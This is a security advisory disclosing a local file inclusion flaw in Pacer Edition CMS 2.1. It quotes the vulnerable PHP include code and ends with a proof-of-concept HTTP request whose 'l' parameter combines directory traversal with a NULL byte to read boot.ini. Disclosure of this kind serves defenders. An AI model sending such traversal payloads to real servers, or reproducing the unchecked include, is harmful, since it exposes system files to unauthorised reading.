Pacer Edition CMS 2.1 Local File Inclusion

`  
Pacer Edition CMS 2.1 (l param) Local File Inclusion Vulnerability  
  
Vendor: The Pacer Edition  
Product web page: http://www.thepaceredition.com  
Affected version: RC 2.1 (SVN: 867)  
  
Summary: The 'Pacer Edition' is a Content Management System(CMS)  
written using PHP 5.2.9 as a minimum requirement. The Pacer Edition  
CMS was based from Website baker core and has been completely  
redesigned with a whole new look and feel along with many new  
advanced features to allow you to build sites exactly how you want  
and make them, 100% yours!  
  
Desc: Pacer Edition CMS suffers from a local file inlcusion  
vulnerability when input passed thru the 'l' parameter to  
admin/login/forgot/index.php script is not properly verified  
before being used to include files. This can be exploited to  
include files from local resources with directory traversal  
attacks and URL encoded NULL bytes.  
  
  
/admin/login/forgot/index.php (line: 59-62):  
----------------------------------------------------------------  
  
$lang_id = ((isset($_GET['l'])) ? $_GET['l'] : '');  
if ($lang_id == '') $lang_id = (LANGUAGE) ? LANGUAGE : (DEFAULT_LANGUAGE) ? DEFAULT_LANGUAGE : 'EN';  
if (!file_exists(PE_PATH.'/languages/'.$lang_id.'.php')) $lang_id = 'EN';   
require (PE_PATH.'/languages/'.$lang_id.'.php');  
  
----------------------------------------------------------------  
  
  
Tested on: Microsoft Windows XP Professional SP3 (EN)  
Apache 2.2.14 (Win32)  
PHP 5.3.1  
MySQL 5.1.41  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
liquidworm gmail com  
Zero Science Lab  
  
  
Advisory ID: ZSL-2011-5019  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5019.php  
  
  
  
07.06.2011  
  
  
PoC:  
  
----------------------------------------------------------------  
  
POST /admin/login/forgot/index.php?l=..%2f..%2f..%2f..%2f..%2fboot.ini%00 HTTP/1.1  
Host: localhost  
Proxy-Connection: keep-alive  
User-Agent: thricer  
Content-Length: 2  
Cache-Control: max-age=0  
Origin: null  
Content-Type: multipart/form-data; boundary=----x  
Accept: text/html  
Accept-Language: en-US,en;q=0.8  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3  
  
------x  
Content-Disposition: form-data; name="email"  
  
sm  
------x--  
  
----------------------------------------------------------------  
`